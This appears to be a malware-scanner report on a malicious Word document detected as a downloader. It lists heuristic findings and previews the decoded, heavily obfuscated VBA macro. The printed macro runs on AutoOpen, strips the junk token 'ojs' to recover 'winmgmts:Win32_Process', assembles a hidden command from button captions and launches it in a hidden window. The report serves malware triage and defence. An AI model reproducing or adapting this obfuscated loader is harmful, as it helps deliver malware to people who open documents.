MALICIOUS
252
Risk Score
Heuristics 9
-
ClamAV: Doc.Downloader.Generic-7357007-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-7357007-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set qiwhhdak23372xas = CreateObject(Nrccctcq(Nrccctcq(qiwhhdak23372xasA))) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set qiwhhdak23372xas = CreateObject(Nrccctcq(Nrccctcq(qiwhhdak23372xasA))) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 72584 bytes |
SHA-256: 351ee2d1bd7e25e5edc285725772adc8b20c0ebde5fc2554c380082b9277352d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
583 of 1053 identifiers look randomly generated (e.g. '_B_var_Clvjrttacbzah') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Oarnuipe"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Thewyevu, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Ilzhpdjdrur, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Ckceqhktzaqg, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Fyubpitn, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Brxqvbbjvnb, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Afmfwjkiacaef, 5, 5, MSForms, CommandButton"
Attribute VB_Control = "Cqzpflcyjuxy, 6, 6, MSForms, CommandButton"
Attribute VB_Control = "Kyatctwcc, 7, 7, MSForms, CommandButton"
Attribute VB_Control = "Tibowmqei, 8, 8, MSForms, CommandButton"
Attribute VB_Control = "Ncojxgktk, 9, 9, MSForms, CommandButton"
Attribute VB_Control = "Atsndfurputmj, 10, 10, MSForms, CommandButton"
Attribute VB_Control = "Ruexvfculxntj, 11, 11, MSForms, CommandButton"
Attribute VB_Control = "Gpwywazcm, 12, 12, MSForms, CommandButton"
Attribute VB_Control = "Ubluqejzoqpn, 13, 13, MSForms, CommandButton"
Attribute VB_Control = "Bhgxfpqvohgru, 14, 14, MSForms, CommandButton"
Attribute VB_Name = "Prdbrrbhhzjx"
Attribute VB_Base = "0{625D2785-6007-4086-8A5B-32154523815C}{BCCA78FA-D039-479C-9DE4-723D77A14F41}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Qqjasoqpb"
Function Bkrdjplg()
On Error Resume Next
Dim Wylugynyfnqgt As String
Dim Fgzrmgwudc As Double
Dim Egwpqzev As Integer
Opchffpmy = Tan("District7225 Wilson Avenue, Hesselmouth, Bangladesh")
Dim Rnvqzlqzehr As Double
Jriyahoybxrko = Tan(650)
Dim Rerepnnt As Boolean
Qooweawwgyowr = Sin(985)
Dim Iqppdgkgpizq As Double
Dim Jwxhzjsa As Double
Dim Xvnigmvmfmhxx As Integer
Dim Rgiznfjitxcqp As Integer
Yinsrisb = Mnlbvlyt
Ckaosomul = Gucnyjfnpyfix
Dim Xhxldxgjzohy As Integer
Dim Wypvfgsi As String
Bsftjxcdnaqew = CByte("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/535.1.1 (KHTML, like Gecko) Chrome/35.0.812.0 Safari/535.1.1")
Dim Zaldzqlf As Double
Apmruzotajkr = 382
Blekzmrc = Gggfogqnwzji
Tackvrphnl = Oct("106.215.236.24")
Mbfxbxarkns = Utxvnqsvs
'Konieczna, Kubicki and Stachura Suite 322 Northeast Ossowski LLC Suite 314 North
Dim Nzbucpkpyt As Double
Dim Nwrkdyzbvkxzz As Integer
Dim Mjfmcahdde As Double
Wjlwoyfonl = CDate("Kotowski IncSuite 681West")
Dim Mpjoccbv As Double
Xfshayft = Hex(134)
Dim Yocskoibt As Integer
Aydzmrtabckut = Atn(111)
Dim Egyhitxfd As String
Dim Reotabrexh As Boolean
Dim Ngmtmcnui As Boolean
Dim Kbclpedt As String
Zapmhcic = Ypykawakcqd
Aerxpcauop = Gxheafrtsfu
Dim Lsesqjxvpohq As Boolean
Dim Aptkasxtzsfc As Double
Krujofejvb = CSng("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.9.2; rv:10.1) Gecko/20100101 Firefox/10.1.9")
Dim Irrizowmr As Boolean
Vukurtlmoylly = 508
Bynqtsmujfcrt = Yufsyoekn
Ojhxgsnbnx = Sqr("173.148.15.187")
Lgjaapoc = Iaqffvjxnaai
'Kisiel, Stolarski and Lasota Suite 585 Northwest Korzeniowski - Jackowski Suite 029 Southwest
Rqhuaqllhvj = Nrccctcq(Nrccctcq(ActiveDocument.Ncojxgktk.Caption + ActiveDocument.Atsndfurputmj.Caption + ActiveDocument.Ruexvfculxntj.Caption + ActiveDocument.Gpwywazcm.Caption + ActiveDocument.Ubluqejzoqpn.Caption + ActiveDocument.Bhgxfpqvohgru.Caption))
Dim Otlvwrxpmt As Integer
Dim Hqinzcbbe As String
Dim Yvdmhwygbc As Double
Cafrgcdfpe = CDbl("236.85.176.130")
Dim Pkcsayceu As Double
Ateqtnmdekf = Cos(239)
Dim Uluzaoutbv As Boolean
Tggczsqtnexcl = Sin(653)
Dim Dapxjepxpdde As Double
Dim Tzxgtzhgbfs As Integer
Dim Zpnsnpwrtl As Integer
Dim Sdiryvnkftf As String
Slkwzkfusqhbl = Iwznasbwyoc
Egfknwvem = Astzmbpngycj
Dim Zdqomhxbaqmk As Boolean
Dim Otkwagmhybj As Integer
Pcgbwlrntfpan = CByte("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_3) AppleWebKit/531.1.1 (KHTML, like Gecko) Chrome/14.0.891.0 Safari/531.1.1")
Dim Rdncdbymnfinf As Double
Ofoihyuop = 166
Bvouwnjmq = Htyqqswnxmv
Kleobwoxdya = Oct("Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; .NET CLR 2.2.11592.4)")
Tjvetbkaxvkqh = Cbtfhyjliulu
'Nowakowski - Adamiak Apt. 213 North Sroka, Kolakowski and Cybulski Apt. 828 Northwest
Onksdewf = ActiveDocument.Thewyevu.Caption + ActiveDocument.Ilzhpdjdrur.Caption + ActiveDocument.Ckceqhktzaqg.Caption + ActiveDocument.Fyubpitn.Caption + ActiveDocument.Brxqvbbjvnb.Caption + ActiveDocument.Afmfwjkiacaef.Caption + ActiveDocument.Cqzpflcyjuxy.Caption + ActiveDocument.Kyatctwcc.Caption + ActiveDocument.Tibowmqei.Caption
Dim Jssncxmq As Boolean
Dim Nrjjlxordxpy As Boolean
Dim Cghbnjtk As Double
Tyaclixufg = CDate("Chrzanowski - RybarczykSuite 487East")
Dim Fxigbyhx As String
Pskwqkcxad = CInt(765)
Dim Pnxmgvzusxgab As String
Hiuckyjihros = Log(684)
Dim Ifqtiivjpsmx As Double
Dim Smkvhsvpfazz As Double
Dim Purdnckrp As Integer
Dim Bxxscqmerqvh As String
Uwtzqujbrt = Ikqhbwdc
Xwdkmuootmys = Rrzmkzfex
Dim Cnkoyeqez As Boolean
Dim Wfhonczicqrkp As Integer
Qshotybckhezv = Int("44.212.179.160")
Dim Nthvutevl As Boolean
Pzrkcvfbn = 912
Kexvdxhjdeauc = Uoemwvlp
Lzeiuuui = CBool("Soap")
Cxzqhocazo = Naaqwbccypo
'Gajewski Inc Apt. 085 South Szczepanik Group Suite 823 Northeast
Set Zqbjbgqgnda = qiwhhdak23372xas(Onksdewf)
Dim Levodeco As Integer
Dim Cwnpidynjm As String
Dim Nbtnpsucyttzi As Integer
Xunczrtxhzyal = Int("Dynamic1000 Schoen Stream, Cormierland, Guernsey")
Dim Ghyprtuqok As Boolean
Ojdnhpdbswkd = Atn(997)
Dim Elnrrigpnlbs As Boolean
Cezsfyfoe = Rnd(935)
Dim Lhuqkwulxpj As String
Dim Slmyvrlpnyznw As Boolean
Dim Goqhbzfbmydoh As String
Dim Qtcbztlgs As Integer
Cyjvcnew = Zcaxmjaas
Iihglvse = Xuaxhrqwpj
Dim Wrqbdmjl As Integer
Dim Jxuqbpqs As Double
Lzbhaafsjdct = CByte("Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.1; .NET CLR 4.8.13954.5)")
Dim Lqpkrfuic As Double
Ddqqbfxxrq = 575
Jadgrbbypcn = Zgagycxevx
Biyewcppbfj = Log("Marzec GroupSuite 714Southwest")
Chaywapmfbywq = Zkodhrqtdut
'Ptak, Michalowski and Kuc Suite 525 West Siedlecki, Kubacki and Kowalczyk Suite 613 North
Dim Okuycekcglk As Integer
Dim Rimktndp As Integer
Dim Omhapcjs As Integer
Limugxuo = CInt("Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko")
Dim Dxhjksshymr As String
Kfmvduaxsdbqj = Log(747)
Dim Ewtouzwqexqx As Integer
Uuljkbot = Cos(909)
Dim Uutktfsbwbd As String
Dim Chyopixnxruy As String
Dim Hzudkvcuzgl As Boolean
Dim Fpaizsaiclnzl As Boolean
Xdymkplb = Sgqihscrjsywj
Ihenheyrz = Hzmjtnykglkau
Dim Hckebtdfbh As Boolean
Dim Utupqllkcea As Double
Xzouyhktww = Sgn("Table")
Dim Vvcdtlbmy As String
Mwtojiicblt = 4
Pldawuywxivp = Jtymmticy
Blouuvcsioih = Round("Internal34298 Oliver Knolls, Gleichnerland, Norway")
Eftooyzabzi = Gjmmmziujkcdm
'Borkowski Group Suite 574 North Kalisz, Królikowski and Bialas Apt. 505 South
Dkfwaegtvqoy = "ojswojsojsojsiojsnmojsojsojsgmtojss:ojsojsojsWojsojsinojsojsojs32ojsojsojs_Pojsroojsojsojsceojsssojsojsojs"
Dim Cbvyzykglws As Double
Dim Xdlbavurxuz As Double
Dim Ywccgolp As Double
Svxexvfdivypq = CDate("39.235.162.218")
Dim Whyxegvtya As Boolean
Jqdibtet = Hex(355)
Dim Rwvrrrjc As String
Sqjgmrarw = CInt(997)
Dim Djrwmemxwmqgt As String
Dim Cmpejvri As Double
Dim Hwvjsmxdenme As String
Dim Mwfmtbkqq As Integer
Ncssdmbfefh = Dztdocpxrkr
Fokhqflufjf = Blzqyefr
Dim Ihbourwsafng As Double
Dim Wpbftyposmbe As String
Lmhyxuca = Cos("Bike")
Dim Qcjrefouyeuj As Double
Xjetopmp = 161
Gnxoirsvzjoro = Nygftfcjha
Imafbinlrha = Tan("Pawlicki - GilApt. 286East")
Mzjtlgufk = Fjzqedqnvak
'Piwowarczyk and Sons Suite 595 Northwest Ciesielski Inc Suite 717 Northeast
Zqbjbgqgnda.ShowWindow = Empty * Empty
Dim Ovaxsoqprtkc As Double
Dim Moigislsdmw As String
Dim Xhjappip As Integer
Psocqzpq = CStr("Forward65180 Herzog Wells, Edmundchester, Ethiopia")
Dim Jgqgjgof As Boolean
Oawlsiisumoz = Rnd(917)
Dim Sntpvtnvbv As Boolean
Qcqjbdusopv = Oct(433)
Dim Hqwvjlkffn As Boolean
Dim Ykbeszbrcsf As Double
Dim Klfiwdsqfn As Double
Dim Asjjlkpuwds As Integer
Vqulhpkukya = Jkdxtxyosgriq
Hohsmuanxey = Vqtjepberzjv
Dim Djddqitn As Integer
Dim Hsbiwgsuzfs As Integer
Hdbglppxxs = CByte("Chief383 Hermann Forks, Hilllfort, Congo")
Dim Dtbhpzivcblnt As String
Govohbwvzp = 275
Xgtjaglsm = Kgjgkfrnnde
Cdmvhybrn = Hex("Mozilla/5.0 (X11; Linux i686 AppleWebKit/538.2.2 (KHTML, like Gecko) Chrome/30.0.845.0 Safari/538.2.2")
Oislghpypb = Xvmpicods
'Grzybowski, Janowski and Pawlik Apt. 170 Northwest Urbanczyk - Borowski Apt. 713 Southeast
Dim Cedqwkfrspxf As String
Dim Vohbnedxoqqc As String
Dim Kcvfpmbkwotfa As Integer
Jdcokgcmmws = Hex("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/3.1)")
Dim Pnaueggpt As Integer
Zrlstihdxhf = Tan(950)
Dim Ovsiqjixwwu As String
Zbtyzqlnosv = Oct(17)
Dim Eposxkamginy As Integer
Dim Jrdvrjeifk As Boolean
Dim Pbazcxyxe As Integer
Dim Eyjibttgaa As Boolean
Vlxdaovj = Pvylgfpzbfqi
Hacpmdyijafnf = Jikfkjnkqmnqb
Dim Lnlawzlg As Boolean
Dim Uhmxgszv As Integer
Wgcontpmdymw = Int("138.56.238.231")
Dim Prcfyyycnf As String
Bmjtnvaf = 380
Kxmcjydxn = Dioquxcuutxyl
Cjlrwefk = CDate("Pants")
Tvozzprse = Vctyxljln
'Kedziora and Sons Suite 140 South Kaminski, Pawlowski and Guzik Apt. 217 West
Dim Qlnzwzpsg As Boolean
Dim Mxgzmlhezzg As Boolean
Dim Yvquxxin As Integer
Ibrisgbwurai = Sin("67.108.77.246")
Dim Udnnkchknj As Boolean
Juujkboc = Cos(44)
Dim Vdpxxclgdqyfa As Double
Udunyohhrx = Log(840)
Dim Lhyutnwi As String
Dim Mfeyggkdduazp As String
Dim Pzjnvxaqbaze As String
Dim Rdmawqpia As Double
Xotmblra = Nmuoampd
Boymqnzth = Zcmyjgezo
Dim Vaerrlwd As Double
Dim Caziqhvnm As Boolean
Vxokhqqglejy = CLng("78.245.106.255")
Dim Xhzvoxeebwcm As Double
Yilckkzcpgju = 579
Obtbcpszvrybp = Rivawhcsgomtu
Ltrgpacajzbz = Atn("Chair")
Divigxyotipm = Mpwxhcffji
'Jurek Group Suite 308 West Zareba Inc Suite 359 Southeast
Usytoplac = qiwhhdak23372xas2(Dkfwaegtvqoy, Rqhuaqllhvj, Zqbjbgqgnda)
Dim Vkgjxluvqrzez As Integer
Dim Gceozdirxs As Double
Dim Iwnefmgiswbfj As Boolean
Sphbiafo = Hex("Pizza")
Dim Rtvntjrnolydn As Integer
Tmrjbyfmcqbq = Rnd(707)
Dim Vcimhntl As String
Njsuacocmipon = Sqr(593)
Dim Ymgsxrtaktjqq As Boolean
Dim Zhrswrfkl As Integer
Dim Zdinhodn As String
Dim Nsxhtjia As String
Ywfjhwvjhs = Svspsxluncwf
Tkchxkundcy = Kttfqasab
Dim Rlpwzvzz As String
Dim Dkgaurafsprt As String
Btxgftos = Sgn("Opera/14.20 (Windows NT 5.3; U; CO Presto/2.9.174 Version/11.00)")
Dim Qmvxnhdybmhin As Boolean
Jruianytnvgyt = 569
Dkoikiwd = Msrfusfrkw
Jvlrthbhjkey = Sin("Senior8146 Hodkiewicz Pike, Millerview, Tonga")
Tevnmodxnvgot = Giybjbtx
'Leszczynski LLC Apt. 667 East Andrzejczak Group Apt. 742 Northwest
Dim Fenzvnxko As String
Dim Zpusffpleo As String
Dim Qyixihxd As Boolean
Przkuxmnpko = CSng("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5.2; rv:11.5) Gecko/20100101 Firefox/11.5.9")
Dim Jszqbedmuk As Integer
Anqodqwaiactu = CDbl(623)
Dim Zqykngpzeiqv As Double
Fvgxnukvz = Rnd(608)
Dim Sjajqgvrmevv As String
Dim Qknlfmvwtde As Boolean
Dim Gqhdrnruwpqnc As Double
Dim Ndjzgixjx As Integer
Yxvqxeukpaea = Iutvxydsq
Teonihktyot = Smtrfeicf
Dim Oenalpghmadzg As Boolean
Dim Tugftovmd As Integer
Lmmbmnmqy = CSng("Mierzejewski - JanuszewskiSuite 006Northwest")
Dim Khiimmfonmuy As Integer
Wazjsrkpgdu = 900
Npmpyczkyw = Jhoxsrnb
Nnggmjubeor = CSng("Kowal and SonsSuite 858Northwest")
Zaxvwlcyeogj = Romgtwxcyisq
'Zdunek - Kowalewski Suite 688 West Marczak - Wasiak Suite 976 Southeast
End Function
Attribute VB_Name = "Cxvtuskkyxfv"
Sub autoopen()
On Error Resume Next
Dim Fryylcyomog As Boolean
Dim Nlpwzdeb As Double
Dim Vurzbpzj As Integer
Busbucfux = Int("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.1; .NET CLR 4.8.75262.8)")
Dim Mhjkbglzbr As Double
Qceucxyne = CDate(168)
Dim Attocxxjey As Double
Mhpzjnjzpn = CLng(701)
Dim Zpicxyne As Boolean
Dim Jrisjcdhkizts As Integer
Dim Xozvfwnerpm As Integer
Dim Mfkmcqyyqrdh As Integer
Dgbfxwpzk = Bzwmqcwniv
Nrboogwwnjoky = Psemvxcaqb
Dim Ohunmzio As String
Dim Hasnrwrlmobth As Integer
Iiakqlmd = CLng("254.83.221.2")
Dim Otwclpbvt As Integer
Tifgjfpx = 518
Zzjdqidxkvxm = Cvjbyaxo
Ozvehgwghmpum = Atn("198.11.239.68")
Hxyioghdcdnv = Yxlojornyqezr
'Sikora LLC Suite 122 Southeast Skrzypczak LLC Suite 462 Southeast
Dim Ymmdhzblkxf As String
Dim Frykdjtge As Boolean
Dim Dkrqgurijm As String
Sxwybfriywc = CDbl("Bike")
Dim Qowqsktaaaw As String
Fpfwywubfn = Sqr(77)
Dim Randngiubp As Integer
Sqbspsxaqqab = Sqr(484)
Dim Xgdnlapf As Double
Dim Fwntnmkpij As String
Dim Vclnqgubz As Boolean
Dim Mjcrnegg As Double
Qmteemdgltt = Kbcxjjkaluw
Lvwkcdrsep = Muqunshptr
Dim Gwwcpfrwdu As Boolean
Dim Jaqpfxglj As Boolean
Otfxbpmqtfmdf = Cos("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.9) Gecko/20100101 Firefox/8.9.9")
Dim Dzyvfstilnb As Double
Vlebsaijjh = 429
Rdhcxwlir = Nnjdvkukz
Uiaklfye = Rnd("Ball")
Hoopmfnqqjsb = Njwmypxqjoiy
'Gruszczynski, Gutowski and Stefanski Apt. 515 East Wasiak LLC Suite 048 Southwest
Bkrdjplg
Dim Lvrkkxrrkm As Integer
Dim Cyfyztuzhsc As Double
Dim Fxxlxeuvov As String
Djwqeqts = CDate("Product89346 Carter Drive, Lake Nicklaus, Sao Tome and Principe")
Dim Gmmwqtcbstd As Integer
Ztgnhcrod = CByte(929)
Dim Vjyidcjvysqly As Boolean
Atmchxcfwxy = Tan(366)
Dim Psydgpagvt As Double
Dim Khcmjhhntby As String
Dim Yztebkez As Integer
Dim Ftnfjzgfz As Double
Wpzsnqqpso = Ciphcuitqmbxs
Yomwynob = Lnuokfrkwkwt
Dim Kquwkoczr As Double
Dim Bfrwjngfnqgo As Double
Hjmwlfewi = Rnd("Mozilla/5.0 (Windows NT 6.2; Trident/7.0; Touch; rv:11.0) like Gecko")
Dim Tsrvrlwgw As Integer
Aomwqoenecoqc = 441
Dginfwfoqvp = Ekijwhjxkoppr
Fecprbipx = Fix("Mozilla/5.0 (Windows; U; Windows NT 6.3) AppleWebKit/535.1.0 (KHTML, like Gecko) Chrome/17.0.873.0 Safari/535.1.0")
Duawbafi = Ufuuussrtxnc
'Wiacek, Kowalczuk and Szymkowiak Suite 191 West Szwarc, Gruszka and Makowski Suite 996 Southeast
Dim Ugesoltz As Integer
Dim Klsyyvtdgc As Double
Dim Amkobaqqjru As Double
Eabvvchrpsh = Fix("Mozilla/5.0 (Windows; U; Windows NT 6.3) AppleWebKit/533.1.1 (KHTML, like Gecko) Chrome/29.0.831.0 Safari/533.1.1")
Dim Ftcrsmyef As Boolean
Ajsihdtrv = CLng(488)
Dim Ushlzvyktdzw As Boolean
Orzixmyituljy = CLng(881)
Dim Zqtxlykjgm As Boolean
Dim Vyebnylsl As Integer
Dim Xuvlymaqxo As Boolean
Dim Mgzjydhsvugd As Integer
Tylmqafhvcq = Wgwfrwdsvn
Pebncorajt = Kyypfkxsk
Dim Mypphhxykw As Boolean
Dim Wdttnznd As Integer
Sutyonkqw = CSng("Dynamic67025 Pollich Lights, Humbertofort, Cayman Islands")
Dim Tppnzktmvrhlw As Integer
Lrjtxnhhfu = 734
Skntaxccoe = Otrimkjwwcb
Dekmhjsdb = CBool("Czechowski, Jakubowski and KruszewskiSuite 431Northwest")
Hxhntzxh = Eewzuvlzmqiv
'Lisiecki - Brzezinski Apt. 861 West Kot LLC Apt. 228 Southwest
End Sub
Function Nrccctcq(Xqhqslrovkho)
On Error Resume Next
Dim Xrhzyfykm As Double
Dim Hygrcubljbyov As Double
Dim Geyrdxnkjpzyk As Boolean
Thzefobszmn = Int("Janowski GroupApt. 012Southwest")
Dim Gycmwzzum As Boolean
Ytnwbdvqvthrp = Hex(693)
Dim Kelyfpdieknnc As Boolean
Vhmafmaerwq = Atn(570)
Dim Lzhnvzpvjnojv As Double
Dim Moptfeyzeo As Double
Dim Jzucordxec As Boolean
Dim Dvvmuxrjbqsc As Double
Rumzdzlogvoka = Nejoxqkjmfgx
Sgrvrajkez = Opzxjxzrn
Dim Oihhlauwck As Double
Dim Oxojriczjor As Double
Jowixjvhxdmk = Tan("Salad")
Dim Kkcywkblauoij As Boolean
Yzrfmclyoe = 727
Gqtbzykrph = Rtyobupzkvyd
Gvzlotvbv = Log("Dynamic0657 Eda Highway, Marcellusberg, Netherlands")
Sojytwrjx = Exwtpbylrpgu
'Skibinski - Urbanski Suite 002 Northwest Raczynski, Janas and Jakubiak Suite 397 North
Dim Mjeautliyyq As String
Dim Jqgbmjmlgfnq As Boolean
Dim Rokvuwbdhb As Integer
Fgksnkfajfr = Hex("Salad")
Dim Tcbgeqkwjt As Double
Dwftgietydg = CStr(412)
Dim Rckwalwumat As Boolean
Dlxrwmpekoahd = CSng(606)
Dim Wkqwasmozai As Integer
Dim Tqvltietvhgtl As String
Dim Nkoxniybk As Boolean
Dim Erxyqoerkuton As Integer
Uadjcpjfaolk = Volnudnwxqs
Ymuvabuoyyau = Lxjfdjcpfhbs
Dim Xcnqnvktf As Integer
Dim Jaaxqkslhb As Integer
Logqjhmuhkn = Rnd("34.140.110.70")
Dim Lkhnksrpuuic As String
Xihjeyocche = 514
Szczmjcfal = Jhyquxossplaa
Gihaijgyqrvv = CByte("Plonka - WilczynskiSuite 446West")
Jxximurqlij = Tdnbydrvws
'Baginski and Sons Suite 607 Northwest Zukowski LLC Suite 365 West
Vdnqhgrfjeg = Xqhqslrovkho
Dim Nmtvmbveehw As Boolean
Dim Ozwlxsxwpcizr As String
Dim Ycqhishz As Boolean
Avxdfiox = CLng("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.0; Trident/5.1)")
Dim Jiunkotykkv As Boolean
Rfbqosehami = CSng(346)
Dim Atktucuzuqidw As Double
Joyhfhfxdszes = CBool(933)
Dim Wlpnnzorps As Boolean
Dim Xptmrxexlnb As String
Dim Uwhavybskux As Integer
Dim Gzvxjoftih As Double
Hhnixijyy = Hqtuyvmv
Iqfcoenlwmoxv = Ojmlopknvog
Dim Hxvlogyqigjd As Integer
Dim Bgpjvfdklz As String
Jxdjoipte = Log("Corporate2964 Welch Island, Port Maeganhaven, Central African Republic")
Dim Cioqafddisc As String
Gekjpwmvb = 995
Amzrbochdpmbh = Eiwbpgov
Xfdhmvbbqp = Atn("Mozilla/5.0 (Windows NT 6.2; Trident/7.0; Touch; rv:11.0) like Gecko")
Lcuqufrtc = Nsezarrlrwhe
'Grzegorczyk - Drozdowski Apt. 673 South Lesiak - Cybulski Apt. 878 West
Dim Kkgyynuyge As Double
Dim Wmpigmvdjp As Double
Dim Ibyyviroi As Integer
Fnibqmqmrlgle = Sqr("Gloves")
Dim Dkhkdvxypxov As Boolean
Nabnpjuxlfqsc = CSng(534)
Dim Cquudehgyfbip As Boolean
Bqnoekfx = CInt(755)
Dim Xfyctlsbcmgu As Boolean
Dim Tfudiobfeheae As String
Dim Lxsgagyjeeuj As Double
Dim Gxhpovyqcpz As Integer
Brxsgdiqpnoa = Wqynfusykxlq
Vvdgioxrglnf = Qjspvacadbtxz
Dim Ahqkpvukh As Double
Dim Wejmaaww As String
Evusrurb = Log("Forward379 Walter Land, Brycenstad, Honduras")
Dim Pvkfewviaw As Boolean
Xrdxqrbtbd = 98
Wlwryacjv = Bueidenvlct
Ouezzsjm = Int("188.163.249.149")
Jsadkatp = Dccmjxooijed
'Brzozowski, Zak and Jakubiak Apt. 086 North Strzelecki Inc Suite 040 Northwest
Xwattpcahsij = ("ojs")
Dim Zhfxmltzeyp As Double
Dim Quchyopv As Double
Dim Luxdhdpzis As Boolean
Jjokocrxiz = Cos("Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/534.2.0 (KHTML, like Gecko) Chrome/30.0.874.0 Safari/534.2.0")
Dim Vkypjbuujxuc As Integer
Mvozhzvgk = CInt(554)
Dim Nametbmzcixe As Double
Gxnamplugqv = Fix(131)
Dim Swzozfvvbi As Integer
Dim Vhcmzorokab As Integer
Dim Ydhtuwikr As String
Dim Cuxyetfp As String
Rhihgbetzs = Ibcnchlhfdnz
Qskqullwg = Lnvdrsbiklwwq
Dim Eoentjxbkmiix As Double
Dim Mugorupeo As Boolean
Qztuvuaxgw = CDate("Cheese")
Dim Bpnmlrijeyez As Double
Bydokpchtxh = 364
Oizdjubfzeh = Gbhrvusgsc
Mbqtwpevatbf = Sgn("50.62.13.38")
Eakcuvjxjbab = Xkwgglxsklc
'Dobosz, Buczek and Szczesna Suite 346 North Drabik - Ziólkowski Apt. 951 East
Dim Lsrbpxqhplv As Boolean
Dim Efophxvtzver As Boolean
Dim Cvffhysptutag As Integer
Nrfqxxztn = Tan("Mozilla/5.0 (Windows NT 5.0; Win64; rv:15.3) Gecko/20100101 Firefox/15.3.3")
Dim Ywmxmkxbolj As Double
Izpmuvhrjom = Sqr(545)
Dim Atyccssrzwdwh As Integer
Eytdlrhy = Fix(385)
Dim Yrfyphzsnke As String
Dim Jqnwjdmpnm As Integer
Dim Kvithsvqpd As String
Dim Tkoddtyycm As String
Xuyuvyleal = Rzgrilwfpa
Ojltogkxmvvnu = Rswlhfdlenhpq
Dim Xwqzfmmr As Boolean
Dim Bgzvdtxgqfns As Boolean
Tlxgggruhhyyw = Fix("Sausages")
Dim Jeagrgyeqauki As String
Rehuguoflj = 436
Zrxewclga = Xpughflwit
Trbobuzowpz = CLng("Salad")
Swxhxtkesje = Hzznundadnv
'Jakubiak, Olczak and Jackowski Suite 534 North Lapinski - Gasiorowski Suite 300 Northeast
Nrccctcq = Replace(Vdnqhgrfjeg, Xwattpcahsij, "")
Dim Zdxmddiqkh As Integer
Dim Nkqmupydmvqkd As String
Dim Xdesevcevkm As Boolean
Mggufctywg = Tan("Keyboard")
Dim Fhydnmjenknf As Integer
Bkfvchsqqgov = Oct(411)
Dim Frbxfxzn As Double
Ixcsvctb = Tan(297)
Dim Aitbdrcprr As Double
Dim Hiywjparvnfd As Integer
Dim Fzunnnqua As String
Dim Aunvkwmnrqtty As Integer
Aopmdpoy = Udeabnic
Vmvkrtqvol = Ujmbentjlvbsq
Dim Mpclrakio As Boolean
Dim Vjysjaxxi As Integer
Ziuioxzkduy = Sqr("Urbanowicz, Urbanski and KozielApt. 155East")
Dim Flzovkayi As Integer
Kkslbusknyqu = 347
Lnjdpkwyum = Jcytpqjb
Eniiboxg = Rnd("Mlynarczyk - RogalskiApt. 614Southwest")
Ifjxrutovlqg = Lqmtizkp
'Modzelewski, Skowron and Mroczek Apt. 756 West Rosinski - Rak Suite 329 West
Dim Siwhdambhgo As Integer
Dim Hhygxlsq As String
Dim Vivbmvjpkgu As Double
Njjfijilnzom = CBool("Mouse")
Dim Htarwtrazhz As String
Yrdfgaqkx = Hex(818)
Dim Jhqfijhou As Integer
Wjpynamj = CSng(282)
Dim Idkukuhmc As Integer
Dim Fuhpdmspak As Integer
Dim Wvtpinqy As Integer
Dim Aadflxpzbr As Double
Rphijoutbucc = Qezzlhxtthlya
